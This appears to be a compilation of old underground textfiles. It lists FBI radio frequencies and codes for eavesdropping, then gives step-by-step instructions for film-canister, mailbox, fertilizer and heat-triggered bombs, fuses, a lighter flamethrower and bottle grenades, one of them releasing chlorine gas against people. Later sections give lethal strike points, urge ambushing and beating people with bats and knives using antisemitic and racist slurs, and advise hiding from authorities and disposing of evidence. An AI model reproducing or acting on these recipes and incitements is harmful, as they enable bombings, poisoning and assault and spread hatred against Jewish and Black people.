     167.5625           	Common simplex

     167.675            	CV Simplex; input to 163.9125

     167.7375           	CV Simplex AND CV Repeater

     167.7625/162.7625  	Akron R.A. repeater

     167.7875           	CV Simplex and CV Repeater



	That is 22 unique confirmed frequencies and there are probably more out there

in CV. Also try 168.000 as it may be a VHF fixed one-way link. Several frequencies come active with the same traffic at times, namely



		167.4125, 167.7375 and 167.7875, and at times 164.100 also!



CV Signal Numbering



     1-99           Administration

     100 - 199   Exact function(s) not confirmed

     200 - 299   Gambling Squad

     300 - 399   Bank Robbery Squad; Kidnapping Squad; Extortion Cases

     400 - 499   Drug Enforcement Squad

     500 - 599   Organized Crime Task Force; S.O.G. personnel

     600 - 699   Exact function(s) not confirmed assists w/kidnapping cases, surveillances

     700 - 739   Assistant U.S. Attorney's; others?

     740 - 750   Base Station Calls

     800 - 899   SWAT; Foreign Counterintelligence; O.C.T.F.

     900 - 999   Akron, Painesville R.A.'s

                 	Akron - 900, 901, 902, 904, 906, 921 - 929

                 	Painesville - 903, 920, 930

     1000 - 1099 Canton and Mansfield R.A.'s

                 	Canton - 1000 to 1010; 1030 to 1040

                 	Mansfield - 1005, 1032 and 1033

     1100 - 1199 Sandusky and Toledo R.A.'s

                 	Sandusky - 1121 - 1129

                 	Toledo - 1100 - 1119, 1130

     1200 - 1299 Youngstown R.A. - 1200 to 1209 and 1220 to 1232.

     1300 - 1399 Radio Technicians and Vehicle Maintenance

                 Radio Techs - 1302, 1303, 1304, 1307 and 1319

                 Vehicle Maintenance - 1300, 1301, 1305, 1306 and 1318.




FBI Common Frequencey Ranges



	I suggest searching the following frequency ranges for FBI radio activity. 

Note: In many areas across the U.S. the FBI have picked up many traditional non-FBI frequencies. Originally the Department of Justice had only 82 Vhf frequencies assigned for ALL of its members, let alone just the FBI. The FBI originally had less than 40 of the 82 frequencies for their exclusive use.



	During the change over to DES nationwide, the FBI has received additional frequencies from other branches and departments who did not utilize or need them. In the NE region the FBI received 110 VHF frequencies - almost 300% increase in the number of frequencies available. The early days saw the FBI in the 163 MHz range for repeaters and the 167 MHz range for simplex operations.



	Limit your search to 500 KHz at a time, certainly no more than a 1 MHz. The

following are common ranges reported nationwide:



162.6125 - 162.7875   	Repeater Inputs; Outputs; 12.5KHz steps

163.8250 - 163.9875   	Repeater Outputs; 12.5KHz steps

164.0000 - 164.5000    	Repeater Outputs; 25KHz steps

165.5125 - 165.9000    	Repeater Outputs; 12.5KHz steps

167.1000 - 167.7875   	Repeater Inputs; Outputs; Simplex; 12.5KHz steps

168.8250 - 169.0000    	Repeater Inputs; 25KHz steps

169.8250 - 169.9750    	Repeater Outputs; 25KHz steps




FBI Common 10 Codes



     10-0   Negative                   	10-29   O.L. Check

     10-4   Affirmative                	10-42   Residence

     10-7   Out-of-Service             10-58   Mileage

     10-8   In-Service                 	10-66   Alarm (?)

     10-9   Repeat                     	10-76   Enroute

     10-16  Message Check           10-77   Bank Alarm

     10-20  Location                   	10-85   Meet w/agent ...

     10-21  Telephone Call           10-90   Bank Robbery

     10-22  Report to Office         10-91   BR In Progress

     10-23  Stand-By                   	10-99   Assist Agent

     10-26  N.C.I.C. Check

     10-28  Registration check



Common Code Words



ASAIC 			Assistant Special Agent In Charge

AUSA 			Assistant U.S. Attorney

Big K 			K-Mart

Bird Dog  		Surveillance Aircraft

C.I.  			Confidential Informant

Diaper Change 		Changing of battery (bug or trailing transmitter)

ECC 			Extended Car-to-Car

FCI 			Foreign Counter Intelligence

Half Signal 		An Agent's spouse

H.T. 			Handi-Talkies

In-the-Pocket 		Subject in surveillance net

Intel 			Intelligence

KEL 			Manufacturer of Surveillance equipment

Main Man 		Primary subject under surveillance/investigation

Mickey D's 		McDonald's

Nest			Off-site office from F.O./R.A. for S.O.G. and Undercover Agents

No Joy 			Negative Communications

O, The 			The Office

OCTF 			Organized Crime Task Force

Other Side 		DES mode

Out-of-Pocket 		Subject not currently under surveillance

Outside Agency 	News Media

Package 		Suspect or item under surveillance

Plank 			Bridge

Private 			DES Mode

Private Side 		DES Mode

Port 			Motel

Quarter Signal 		An Agent's child

RA 			Resident Agency

Rabbit 			Subject under surveillance

Rabbit Tracks 		Subject on the move

R.D.O			Regular Day Off

Red Balled 		Stopped at traffic light w/subject

Red Boarded 		Stopped at traffic light, subject not stopped

Road Runner 		Surveillance Aircraft

SAIC 			Special Agent In Charge

Signal 			A field agent

S.O.G. 			Special Operations Group

S.W. 			Search Warrant

SWAT 			Special Weapons and Tactics

Ten Check 		Message Check

Unit 			A vehicle

USA 			U.S. Attorney

Wagon 			Surveillance Van

Wire 			Body Transmitter



Federal News

	The FCC has established a nationwide radio frequency for stolen vehicle tracking systems operating on the frequency of 173.025. The frequency was reported as a FBI assignment (wouldn't we like to see the exact frequency assignment chart?) Nationwide. Perhaps this frequency was used for wireless microphones or bugs, and if so perhaps others operate on nearby similar frequencies. Give it a listen and let us know.



	The FBI Academy, located 40 miles south of Washington, is the host to the most

crime ridden town in the United States - Hogan's Alley. Hogan's Alley is a "Hollywood" town with a motel, bank, post office, drug store, laundry and even a theater. It is used as a training ground for FBI agent trainees. Various scenarios are enacted under the careful eyes of supervisors. The trainees performance are evaluated with each exercise.



	One thing about Hogan's Alley - it has a 100% success rate in solving of cases, pretty impressive. Something that is not pretty impressive about the FBI is the starting pay agents earn. According to a 8 January 1990 U.S. News and World Report quirk the starting pay of a FBI agent is $26,261. Consider that an agent does not choice his assignment location, the agent could be placed in a very high cost of living area. Placement in certain cities such as NYC offer slightly more pay, however it is not enough for the work that they perform for all of us. Yet even worse is the pay for DEA agents $19,493 to $23,846.



	The Congress is aware of these low salaries (after all they, the Congressmen and Senators literally took care of themselves) and will hopefully rectify the problem this year.	



Film Canister Bombs  By: Billy Boy



Type A:



Materials: 



35mm film canister

flash powder

long fuse



Prodedure:

1) Poke the hole before putting the flash powder into the cannister.

2) Don't get any powder on the lip of the cannister.

3) Only use a very small quantity and work your way up to the desired result.

4) Do not pack the powder, it works best loose.

5) Do not grind or rub the mixture - it is friction sensitive.

6) Use a long fuse.



	For a relatively low shrapnel explosion, I suggest pouring it into an empty 35mm film cannister. Poke a hole in the plastic lid for a fuse.  These goodies make an explosion audible a mile away easily.


Type B:



Prodedure:  Fill 35mm film case with explosive of your choice. Drill hole in grey lid, insert fuse,  and tape it back together very tightly.  Light.



Type C:



Procedure:  Poke a hole it the grey cap facing outwards, and insert an M-80 with fuse going through the hole and reseal, taping it tightly ALL AROUND the case.  Place in plastic mailbox, light, close door, and get the hell away!  Because of the tight airspace, the destructive power of the explosion is increased 5X.  Works under water too, with a drop of wax, or preferably rubber cement around where the cap and wick meet.



Fighting Claws By: Armageddon 



	I have a set of these myself. All you gotta do is just take a piece of  wood that you can fit into your hand and punch with. Then take some files and sandpaper (so you don't get splinters) sand in some grooves for your fingers.  Put nails through the wood so they will stick out between your fingers. Wrap this in tape if you want (just in case the wood split like on mine). Now  punch someone you really hate.



Fertilizer bomb  By: The Jolly Roger



Materials:



Newspaper

Fertilizer (the chemical kind, GREEN THUMB or ORCHO)

Cotton

Diesel fuel



Procedure:  Make a pouch out of the newspaper and put some fertilizer in it. Then put cotton on top. Soak the cotton with fuel. Then light and run like you have never ran before!  This blows up 500 square feet so don't do it in an alley.




Flame Thrower  Courtsey of Red Phaze



Materials:



79 Cent Bic lighter

Needle-nose pliers

Tin snips or wire cutters



Procedure: First, rip the metal windguard off the lighter with the pliers and then twist  the  little  flame adjuster  all  the way to the right, and keep twisting until it won't move up anymore (stop and twist back if it starts hissing).  There is a gap between the flame adjust and the plastic push-thing (it moves the nozzle up). You then flatten the wind-guard out and snip a notch in it

big enough to fit around the nozzle.



	What  you  will  do is  you  will fit the metal piece in the slot between the flame adjust and the plastic or the ring around the nozzle, which ever shows.  The metal should be bent down, like the hose on a fire extinguisher.  Make sure the 'handle' is snug.  You should glue carefully.



	You then hold the lighter backwards from how you would normally hold it, thumb-tab  away.  You will strike with your  index  finger.   Practice. Depress the handle with your thumb.  Strike, and have instant hell-fire!



Flares  Courtsey of Red Phaze



Materials:



              Potassium nitrate 	(saltpeter)

              Sucrose 		(sugar)

              Napkin



Procedure:



    Mix equal amounts on a napkin and ignite it.  It will flare up and smoke.    

NOTE:  Do not inhale the smoke - it is hazardous!



Fuses By: The Jolly Roger and Vortex



	You would be surprised how many files are out there that use what falls under the category of a "fuse." They assume that you just  have a few lying around, or know where to get them. Well, in some parts of the country, fuses are extremely hard to come by.  So this file tells you how to make your own. Both fuses presented here are fairly simple to make, and are fairly reliable.



Slow Burning Fuse  (approx. 2 inches per minute)



Materials:



Cotton string or 3 shoelaces

Potassium Nitrate or Potassium Chlorate

Granulated sugar



Procedure:  Wash the cotton string or shoelaces in HOT soapy water, then rinse with fresh water.  Mix the following together in a glass bowl:



   1 part potassium nitrate or potassium chlorate

   1 part granulated sugar

   2 parts hot water



	Soak strings or shoelaces in this solution  Twist/braid 3 strands together and allow them to dry.  Check the burn rate to see how long it actually takes!!

Fast Burning Fuse (40 inches per minute)









Materials: 



Soft cotton string

fine black powder (empty a few shotgun shells!)

shallow dish or pan



Procedure: Moisten powder to form a paste.  Twist/braid 3 strands of cotton together.  Rub paste into string and allow to dry.  Check the burn rate!



Another Method:

	

	There are many different ways to make fuses, but I have an quick and easy recipe for them.  I have made these many times before and know that they are nice and reliable.  A lot of documents have been made for fuses.  Two things are factors in making good fuses.  Number one is the material, and number two is the chemical.  I find twine a good source for the material.  IT comes in a big roll so you can make lots of fuse out of it.  Then the best chemical that I have ever used on fuses is flash powder.



	It burns quick and is reliable to ignite your pyrotechnic device.  All you need to do is dampen the flash powder and mix it to where the flash powder is not quite as liqiudized as water.  It should be a little more than a paste, but not quite water.  This will prove to soak into the twine

better.  Then you take your twine and rub the flash powder into it.  This should be done with three fingers.  You should make only one coat.  After you have made the whole string you should hang it up to dry for a minumum of three days for maximum effectancy.  



Note - The twine usually has three strans of rope winded together.  Undo one of these strans so that it thins the twine down to two strans.  Unless you want it for a high explosive device.  



Gas Explosives  Courtsey of Red Phaze



	Bottled gas, such as butane for refilling lighters, propane for propane stove or for Bunsen burners, can be used to produce a powerful explosion. To make such a device, all that a simple minded anarchist would have to do would be to take his container of bottled gas and place it above a can of Sterno or other gelatinized fuel and light the fuel and run.



	Depending on the fuel used, and on the thickness of the fuel container, the liquid gas will boil and expand to the point of bursting the container in about five minutes.  In theory, the gas would immediately be ignited by the burning gelatinized fuel, producing a large fireball and explosion.  Unfortunately, the bursting of the bottle gas container often puts out the fuel, thus preventing the expanding gas from igniting.  By using a metal bucket half filled with gasoline, however, the chances of ignition are better since the gasoline is less likely to be extinguished.  Placing the canister of bottled gas on a bed of burning charcoal soaked in gasoline would probably be the most effective way of securing ignition of the expanding gas, since although the bursting of the gas container may blow out the flame of the gasoline, the burning charcoal should immediately re-ignite it.  Nitrous oxide, hydrogen, propane, acetylene, or any other flammable gas will do nicely.











Gerbil Feed Bomb By: Swamp Rat



	Grudge against society?  Seeking mass destruction & bloodshed?  Look no further.



1. Get some Gerbil Feed, or some other type of small rodent food, available at most any pet store.



2. Mash up the food pellets into a fine powder (about the consistancy of beach sand).  The best way to do this is to put the pellets in a bag, and then beat the hell out of those bitches (pretend like they're Nancy Reagan for more fun!) with a hammer.  If you live near a major highway, you can

just scatter them around, and then come by later with a shovel.



3. Put this powder into a jar (Jiff Peanut Butter jars work best, but Peter Pan will do just fine).  Get some model glue, the kind in tubes, and squirt out a bunch of it into your hand.  Spread it out evenly over all your fingers, and then stick your hands into the jar.  Move your hands around

a lot in the jar so that the glue is well mixed with the powder. Go into a spasm, this should shake all the glue off your hands.



4. Fill the rest of the jar up with gasoline(available at most any gas station.)



5. Put a long fuse into it.  If you're brave (and a bit stupid), you can just drop a match into it.



6. Light the fuse if you put one in.  If you dropped a match into it, then go to the nearest phone, dial "911" and tell the nice people that you have a large number of glass shards embedded in your lower body.  An ambulance should be there soon.



7. If you do not have glass shards in your body yet, just run VERY, VERY fast, scream "incoming!" at the top of your lungs, and then "hit the dirt!" This should attract all the neighbor's attention, so they too will get to witness this spectacular event.



8. There!  You've done it!  When the police car comes to your house, tell the nice police officers that a K.G.B. agent leaped out of a tree, and threw a hand grenade at you.  Of course they will be kind and understanding being their job to "protect and serve."  The police are your friends!



9. Repeat for everything you want to slice, dice, chop, or mutilate. Or just plain destroy, it doesn't really matter.



	Be sure to have a spare change of clothes handy...



Grenades  By: Garbled User




Force Grenade:  This little bastard will blow just about anyone 30-100 feet back! Can cause

a car to nearly flip over and can cause almost nuclear damage to a window!



	Simply Grab the vinegar, grab the Arm and Hammer baking soda. Take a cheap plastic bottle (2 liter is good). Take some paper towels. Fill them with a lot of baking soda. Wrap them VERY thoughroughly (but small enough to still fit through the neck of the bottle). Fill the bottle about 60% up with vinegar. Take the baking soda rolls you made (about 10) and drop them in. then just close, and throw. FAST!!   The reaction causes a huge amount of CO2 gas to be produced causing a BIG BOOM! You can also use a glass bottle, which will create many nice, sharp glass shards! Which function nicely as an anti-personnel device.


Death Grenade:  This is the same as a force grenade, except the minor fact that it releases

a cloud of poison gas so deadly it will kill just about anyone nearby! (not to mention the sheer power of the bomb!)  Just replace the Arm-n-hammer with any ammonia containing liquid (ammonia water works the best {ammonium hydroxide}) Replace the vinegar with a chlorine containing liquid, {industrial strength chlorine bleach}  Ever wonder why they always tell you not to mix the two? Now you know: they produce chlorine gas.



	This will produce quite a blast and a green cloud that will sweep a city block. So try not to be downwind of the bomb! It will also take longer to explode:  So you have more time to throw the grenade: but Don't be thinking. "Gee, I have all the time in the world. I think I'll have a few cigs before I throw this" Or you will end up looking very DEAD. By more time I mean about 10-15 more seconds added to the safety margin before the thing HAS to be thrown!



	Another strange thing you can do with this one is, tie a turpentine soaked rag around the bottle (DO NOT LIGHT) This will react with the chlorine, and catch on fire, releasing tons of black smoke and an interestingly noxious smell which is also probably very dangerous. (No I'm not sure! Would YOU stand near a death grenade to find out whether or not it was deadly?)



Fire Grenade: Quite simple. Same as above two.  Use Calcium Carbide and water.  Harder to do because CaC2 is NOT usually a household chemical.. Unless your wife is a speliologist.

Now simply tie a gasoline soaked rag to the bottle, light, throw and run. Should make a nice, big, powerful blast emitting a huge fireball! This should be used with a glass bottle, be advised but be advised: if you throw the bottle to hard it will break, causing a not-so-awesome explosion.. Of course when using glass you could always cushion the outside



Hacking Ethics By: Active Matrix



	Every hacker has his own set of ethics, a sort of rules that he/she goes by when hacking. The ethics of a real hacker are much different from that of a lamer bent on getting warez or virus spreader. These people are assholes, and they give the true hacker a bad name. They are criminals, pure and simple. Pirating software is stealing. Any idiot can go download some commercial software product, and likewise could get some virus and get some 'enemy' to run it on their computer. That takes no skill or intelligence.  The true hacker goes by his ethical code, respecting the computers he works on and hacks. 



	Furthermore, true hackers do not engage in the stupid petty hacker wars you see hacking groups around the net involved in. Those "you destroyed my web page so I'm going to destroy yours" fights are the stupidest most immature things I've ever seen, and the fact that someone can call themselves a hacker and then get into a childish revenge game like that is ridiculous. 



Here is my code of ethics:



   	* Never intentionally delete or damage a file on a computer you hack

   	* Treat systems you hack as you would treat your own computer.

   	* Notify system administrators about any security breaches you encounter.

   	* Do not hack to steal money.

   	* Do not distribute or collect pirated software.

   	* Never take stupid risks - know your own abilities.

   	* Always be willing to freely share and teach your gained information and methods.



Hand To Hand Combat  By: Exodus, The Jolly Roger & Red Phaze



	This file will explain the basics of hand-to-hand combat, and will tell of the best places to strike and kill an enemy.  When engaged in hand-to-hand combat, your life is always at stake.  There is only one purpose in combat, and that is to kill your enemy.  Never face an enemy with the idea of knocking him out.  The chances are extremely good that he will kill YOU instead.  When a weapon is not available, one must resort to the full use of his natural weapons. The natural weapons are:



1. The knife edge of your hands.

2. Fingers folded at the second joint or knuckle.

3. The protruding knuckle of your second finger.

4. The heel of your hand.

5. Your boot

6. Elbows

7. Knees

8. Teeth.



	Attacking is a primary factor. A fight was never won by defensive action. Attack with all of your strength.  At any point or any situation, some vulnerable point on your enemies body will be open for attack. Do this while screaming as screaming has two purposes.



1. To frighten and confuse your enemy.

2. To allow you to take a deep breath which, in turn, will put more oxygen in your blood stream. 



	Your balance and balance of your enemy are two important factors; since, if you succeed in making your enemy lose his balance, the chances are nine to one that you can kill him in your next move. The best over all stance is where your feet are spread about shoulders width apart, with your right foot about a foot ahead of the left. Both arms should be bent at the elbows parallel to each other. Stand on the balls of your feet and bend your waist slightly. Kinda of like a boxer's crouch. Employing a sudden movement or a scream or yell can throw your enemy off-balance. There are many vulnerable points of the body. We will cover them now:



Adam's Apple: This spot is usually pretty well protected, but if you get the chance, strike hard with the knife edge of your hand. This should sever the wind-pipe, and then it's all over in a matter of minutes.



Armpit:  Although it is hard to get at, the armpit has a large network of nerves.  If the enemy is on the ground, hold up his arm and then kick him in his pit. This will cause serve pain.  However it is not a very common place that can be truck in a fight, but it is a good place to keep in mind anyway.



Back of the Neck: A rabbit punch, or blow delivered to the base of the neck can easily break it, but to be safe, it is better to use the butt of a gun or some other heavy blunt object.



Collar Bone:  The collar bone is an extremely sensitive part of the body.  A sharp blow to it with the knife edge of you hand or your elbow gives the enemy excruciating pain.  Also, digging your fingers into the collar bone can bring you enemy to his knees.



Ears: 	Coming up from behind an enemy and cupping the hands in a clapping motion over the victims ears can kill him immediately. The vibrations caused from the clapping motion will burst his eardrums, and cause  internal bleeding in the brain.



Eyes:	Use your fingers in a V-shape and attack in gouging motion.



Nose:	(Extremely vulnerable) Strike with the knife edge of the hand along the bridge, which will cause breakage, sharp pain, temporary blindness, and if the blow is hard enough, death. Also, deliver a blow with the heel of your hand in an upward motion, this›will shove the

bone up into the brain causing death.



Groin: A very vulnerable spot. If left open, get it with knee hard, and he'll buckle over very fast.



Kidneys: A large nerve that branches off to the spinal cord comes very close to the skin at the kidneys. A direct blow with the knife edge of your hand can cause death.





Knee:  You can destroy the knee by kicking it with the side of you boot in a upward motion.  This will rip the ligaments and the cartilage. This will cause unbelievable pain and make it impossible for the enemy to move a around.  Once a knee has been ruined, you will have great advantage over the enemy.



Rib Cage:  A strike to the rib cage with your fingers folded at the second knuckle is rather painful and if done hard enough causes severs pain and breakage.  Only use your fingers folded at the second knuckle since that hurts the most.



Shoulders:  The shoulder is easy is located and it takes very little strength to do.  However, it should be down quickly.  Grab the enemy’s arm and pull it behind his back and then jerk it upwards quickly.  You should here a popping should which means you have dislocated the enemy’s shoulder.



Solar Plexus:  The solar plexus is located on the chest at the little “V” shaped point where the rib cage ends.  There are a are amount o nerves so a blow with the knuckle of you second finger and cause sever pain and even unconsciousness.



Tailbone:  The tailbone which is located above the anus is a very sensitive part of the body as a lot of spinal nerves are located there.  Use the toe of your boot to strike the tailbone.  The pain from that is unbelievable severe.



Temple:  There is a large artery up here, and if you hit it hard enough, it will cause death. If you manage to knock your enemy down, kick him in the temple, and he'll never get up again.



Upper lip: A large network of nerves are located. These nerves are extremely close to the skin. A sharp upward blow will cause extreme pain, and unconsciousness.

	

	There are many more ways to kill and injure an enemy, but these should work best for the average person. This is meant only as information and I would not recommend that you use this for a simple High School Brawl. Use these methods only, in your opinion, if your life is in danger. 

	

	Any one of these methods could very easily kill or cause permanent damage to someone. One more word of caution, you should practice these moves before using them on a dummy, or a mock battle with a friend. (You don't have to actually hit him to practice, just work on accuracy.)



Another Option:  Fighting Really Dirty



	The Neon Knights have been known to make peoples lives miserable just for

calling their houses when they were sleeping and letting the phone ring till we've answered it.  Well just how we get even is going to be showed in this file.  I'm not talking about doing a half assed CN/A or setting the modem for auto-dial, I'm talking kicking ass and laying up people in the hospital.



	When fighting face to face with someone, I could never understand why one asshole says either,"Meet me after school in the parking lot!" or " Put up your dukes!" 

	

	This is notorious with dumb jocks.  They actually think that your gonna have a set time for fighting?!  Man, most of us are headbangers, we don't go for that shit!  When you fight with a joke and he says that just get out: 

	A) Your trusty knife or 

	B) Your big old aluminum bat you stole from the school gym (Right Kurt!).  



	B-E-A-T the living shit outta the bastard!  Fuck that after school bullshit!  If you wanna win the fight, then fight dirty!!  My friend once got in a fight with this big motherfuckin 250 pound Linebacker, he did this and sent the bastard to the hospital.  I tell ya, those jocks mess don't with him anymore.  



	Next type of fighting is when bastard ass college dumbfucks flip you off on a street corner.  This always seems to happen to me, being that I live 5 miles from the U of M campus.  When this does occur, you may handle it two ways.  The first way is that you promptly slam the brakes on and get outta the car and tell his ass to come on over so you can kick his ass.  If this is a big jock type college dude don't worry they ALL have there weak spot.  Right in the Nuts!!



	Some people may tell you this is panzy assed to do, but there also usually the ones that have a busted nose that whistles when they eat cereal.  If its a little geek type fuckin Jew, then they will probly keep sucking on their slurpee and ignore you.  This is where the second way comes in.  Pull around the block and follow him at a close distance from behind in your car.  I guarantee he will either walk up to the closest house in site and sit on the porch pretending its his house.  Well all you have to do to flush the little weasel-faced big nose off the porch is to blow the horn until someone comes to the door.  



	Then he'll either get off the porch, or you can scream at him something like," Come on Abe(Good Jewish name) mommy says that she isn't mad at you anymore, you can come home now!"  This'll usually either get him walking or the person who lives at the house talking the bastard to get the fuck home.  When he does get off the porch he'll probly think your some kinda psychopath because you been trying like hell to get him, now you can do what you like to him, either kick his ass or take all his money.



	This next one is a personal favorite of mine, I call it "The paperboy needs his ass kicked for kicking my favorite dog".  Early in the morning when he goes to deliver his papers find a place where you can ambush him.  Then when he comes flying by on his bike, take a stick or metal pipe and stick it in his front wheel, it'll catch in and when it hits the forks he'll go head over heels onto the ground in a blaze of newspaper all over.  The fun isn't over yet, now grab his newspaper bag and tie it around his head so he can't see before he figures out what is happening.  Now beat the shit outta him.  Don't say ANYTHING.  This will make him pretty scared when he doesn't know who is or why he is getting beat up.  He might even quit and now you can have a summer job!



    Some pointers on fighting dirty:



	When the assholes starts cutting you down, hit. Don't talk back.



    	Don't make threats you can't keep.(I.E.: Your dead, man!)



	Always carry your 6 inch blade around.(I prefer scuba knives because there stainless steel, and have a metal knob on the handle end so you can knock the dude out).



	  If you start losing the fight, go for the nuts.  Like I said it sounds gay, but who gets the last laugh when Biff turns out sterile?



	When you fight niggers, try to stay away from there Fro's cause it'll make your hands greasy and you won't be able wrestle them down.  Come to think about it, even there skin is greasy and they smell like piss!  Better take my first hand experience and use a bat on the bastard.  Its less of a hassle.  That’s it, how to fight really dirty.



Heat sensitive explosives By: Vortex



        In other words, explosives that go off when exposed to heat, such as in someones barbacue pit at your camp ground.  All it really is a a bomb without a fuse.  Take one of the antena's off of your radios(the kind that retract).  The antena gets smaller as it gets longer, so rip of bottom most peice which would naturally be the fatest.  Fill this with your choice of powders and crimp and fold both ends down on it.  Then throw it in a pit.  Make sure no one is around the pit because it throws shrapnel.  You can do the same thing with pipes.



Hiding Yourself By: John J. Williams, Consumertronics



	WE ARE IN A TERRIBLE MESS! If ever there was a time in this country to make yourself scarce, this must certainly be it. Consider:



(1) 	After eight years of the Let's-Just-Pretend Reagan Administration and four years of the

Let's-Wreck-The-Country- Even-More Bush Administration, we are on the brinks of both an

economic catastrophe that makes the Great Depression look like a Sunday picnic and a world war

that's going to pale all of our previous wars.



(2) 	Japan, and other foreign countries, are buying up America at such a frenzy - even our National Park concessions and our great institutions -that the prospect of America being turned into one huge post-World War II POW camp is indeed a reality.



(3) 	Credit bureaus have taken snooping to new levels to violate personal privacy and to oppress the people.







(4) 	To make up for all of the money ripped-off by the politicians and their big-shot friends,

governments, thru their tax collection entities, are becoming increasingly oppressive and dictatorial while taxes soar beyond even what would have be en tolerated just a few years ago.



(5) 	Efforts to register and confiscate firearms have reached such a fever pitch that our Founding Fathers must be turning over in their graves. For example, California recently made it a felony not to register an "assault-rifle" - a state that been under continuous Republican domination since Reagan was Governor.



(6) 	Our basic industries are only a shadow of what they were in the 1950s and 1960s, particularly in the processing of metals. And our system of transportation is shot. The railroads and airlines are dilapidated and failing at ever- increasing rates. Without a massive repair effort in which there is no money for, our interstate highway system will last another decade at most.



(7) 	Virtually every type of financial institution is being ripped-off enmasse by insider fraud and has either collapsed or is on the verge of collapse: S&Ls. banks, credit unions, retirement funds, insurance companies, Wall Street. You name it .



(8) 	Politicians have always been corrupt. But in the last decade, this corruption has reached a new level that even shocks me. You know as well as I do that Bush is being paid off by the Japanese, Germans, and Arab Sheiks. None of his four sons are going to die in the desert. Thank you, but they are all doing very well financially, especially Neal. When you got guys like John Glenn selling himself to the highest bidder, you've got to know that there is no peaceful prospect that the system an ever be corrected.



(9) 	We are only a few years from a new millennium. You can bet the old millennium won't end without the rivers running red with blood.



The Soultion



	Need I say more? Clearly if you try to live your life like you are a member of the Leave it to Beaver family, you are bound to be screwed bad, and your chances of survival are nill. You'll be taxed to death, your loved ones will be shipped off as cannon fodder, you'll probably lose your job or at least get your retirement and benefits stolen from you, and what little property you have will also be ripped off.



	The only solution is to join the underground economy, to travel as light as you can, and to make yourself as scarce as possible. In the final analysis, if they can't find you they can't harm you. We provide much good advice in this direction in our "BY AN ORDER OF THE MAGNITUDE" book. Other excellent sources are available from Loompanics Unlimited, Paladin Press, etc. Of course, virtually any living you make thru the underground economy -even if it's selling rosary beads - is strictly illegal, but that's a judgement you'll have to make.



	Many people who own a lot of property and who are well known by a lot of people make

some-to-all of their income thru the underground economy. Thus, they are still vulnerable to attack. They still can't fart without an entry being made at a credit bureau. In fact, in some respects, they are in greater danger than people who make identifiable livings, because eventually the tax entities will ferret out the discrepancy between their lifestyles and their identifiable sources of income, and react accordingly.



	To be truly safe, you must not only make all or virtually all of your living thru the underground economy, BUT also make yourself as unidentifiable as possible. You can do the later using a combination of means:



(1) 	Obtain and use alternate identifications. This is discussed fully in many alternate ID manuals, including EDEN PRESS "THE PAPER TRIP", and CONSUMERTRONICS "SECRET & ALTERNATE IDS" and "BY AN ORDER OF THE MAGNITUDE". 



(2) Travel and live incognito (this information is provided for educational purposes only):



Travel and Live Incongnito



	There is a subtle distinction between using an alternate ID and living incognito. "Incognito" means,  "To live under a disguise or with your identity concealed," whereas to use an alternate ID means to make yourself known under a different name . The implication is that the incognito person wants as few people as possible to know his name - real or false - or to recognize his appearance. In other words to stay low - even physically hidden. The alternate ID person may have a very high profile, and may do nothing to alter his physical appearance.



	I've been told that it is almost impossible these days to live incognito in the United States. I always respond that, 'Then how is it that Los Angeles has about a million more people than anybody knows who they are?' If I were to guess, at l east 10% of the adults living in the United States today are doing so totally incognito, and that at least another 20% purposely maintain a very low profile as a partial form of living incognito. Ironically, we are one country in which a serial killer can go around and kill hundreds of people and no one will have even the faintest idea who he is, but if he bounces a $2 check, that will stay in his credit bureau files for seven years and plague him every aspect of his life!



	There are several methods of living incognito, but whatever method you use, pay for things with cash as much as possible, and live with as few possessions as possible.



(1) 	Travel constantly by whatever means you can devise.



(2) 	Live in an isolated part of the country. For example, Appalacia, the northern most Western states (excluding coastal Washington and Oregon), and the deserts of the Southwest.



(3) 	Live in Mexico and Canada. Or in another country.



(4) 	Live as a near-homeless person and-or as a slightly crazy person.



(5) 	Live in safe houses.



(6) 	Live in hiding places.



(1) 	Constant Travel:



	Many people today who don't want to become identified stay on the road constantly. This not only makes you scarce but can also help you considerably function in the underground economy as a courier or transporter of contraband. it is also an ideal way to live if your type of living will quickly bring attention to you if you start to hang around too long. However, to survive this way, you have to be very physically fit - capable of fighting or fleeing as required - mentally sharp. And very street-wise, as you will be dealing with many strangers, many of whom are predators. You should be able to assume regional accents and understand regional customs, and have an excellent understanding of geography, topography, and meteorology, as well as of the various transportation systems you will encounter.



	Means of transportation should vary as required and range from thumbing it to flying first class. The fewer times that someone sees your face or hears your name, the less the risk. Biking and walking long distances are a plus. You should know how to drive just about every kind of vehicle, as short stints in a stolen vehicle may result as opportunities arise. Generally, except near the Mexican border, buses are safer than commercial planes - you get far less scrutiny. Near the Mexican Border can be a problem because Immigration officials frequently board and inspect buses. Private planes are the safest per mile traveled.



2) 	Live in Isolation:



	Remote and isolated parts of this country exist all over. You an even find them relatively near very large cities. However, some parts of our country - Appalacia, the Pacific Northwest and the Southwest have the most such places. Some advantages of living like this:



(a) 	Your exposure to government and commercial snoops is minimal.



(b) 	It's usually not cost-effective for the government to send someone out to get you unless the wrongdoing is very serious.



(c) 	If someone does try to make the moves on you, you an usually spot them coming some distance away and will have time to prepare yourself for concealment, flight, or fight. And if you end up having to kill them in self-defense, there will be fewer witnesses and more places to get rid of the evidence.



There are major disadvantages to living in a remote area:



(a) 	Many people can't tolerate the isolation and boredom.



(b) 	Living conditions are usually primitive.



(c) 	The chances of dying from a medical emergency are higher.



(3) 	Live in a Foreign Country:



	In many ways, this is the ultimate means of escape. If you are out of reach of our government, they can't mess with you, and won't even try unless you are an international terrorist. There are still nice retirement areas in Mexico and Canada . However, the Mexican situation is getting very much out of hand, and I would tend to steer clear of it. Wherever you live, you will be under the jurisdiction of that country - that sometimes can be worse than living here. However, once you've become established, and you've greased the right palms and made the right friendships, living abroad can of ten become much more safe and secure than living in a typical American city.



	A great method here is to contact seasoned travelers club members, and say something like, "Well Mildred and I are in the process of planning our retirement. We want a change of scenery. If you were going to retire today to a foreign country , where would you go and why?" If their advice looks good, you might then ask them for the names and addresses of contacts in their suggested area.



(4) 	Near-Homeless/Crazy Person:



	This is probably an ideally safe way to go if you've made a decent score and you need to go underground. Or if you are living on retirement, interest or investment income. Buy a wardrobe at the Salvation Army. Rent a cheap furnished apartment with all utilities supplied. Stash your cash in a bank across town. Rent a mail box in one of those mail drops. Draw on savings as you need it. The only time you need to reveal your identity is when you make a bank transaction, and unless you are receiving checks to your name in the mail, even then it an be done so totally under an alternate ID.  Your landlord need never know who you really are. Just be punctual at paying him.



	You can even avoid contact yourself when you must make those personal contacts with your bank, post office, etc. Simply hire a wino to do those things for you while you remain concealed outside. He doesn't even have to handle any of your cash . Whatever cash you need, you can withdraw from your bank's ATM.



